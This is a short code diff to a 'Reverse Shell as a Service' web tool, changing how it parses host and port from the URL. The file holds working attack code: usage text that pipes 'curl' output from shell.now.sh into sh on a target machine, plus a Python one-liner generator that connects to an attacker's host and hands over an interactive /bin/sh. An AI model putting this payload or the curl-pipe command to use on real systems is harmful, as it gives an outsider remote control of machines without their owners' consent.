Use colon seperator for ip:port

src/index.js

@@ -6,15 +6,15 @@ const usage = `# Reverse Shell as a Service
 # 1. On your machine, open up a port and listen to it with netcat
 #      nc -l 1337
 #
-# 2. On the target machine, pipe the output of https://shell.now.sh/yourhostnameorip/port into sh
+# 2. On the target machine, pipe the output of https://shell.now.sh/yourhostnameorip:port into sh
-#      curl https://shell.now.sh/192.168.0.69/1337 | sh
+#      curl https://shell.now.sh/192.168.0.69:1337 | sh
 #
 # 3. Don't be a dick`;
 
 const generatePayload = (host, port) => `python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`;
 
 const reverseShell = req => {
-	const [, host, port] = req.url.split('/');
+	const [host, port] = req.url.substr(1).split(':');
 	return (host && port) ? generatePayload(host, port) : usage;
 };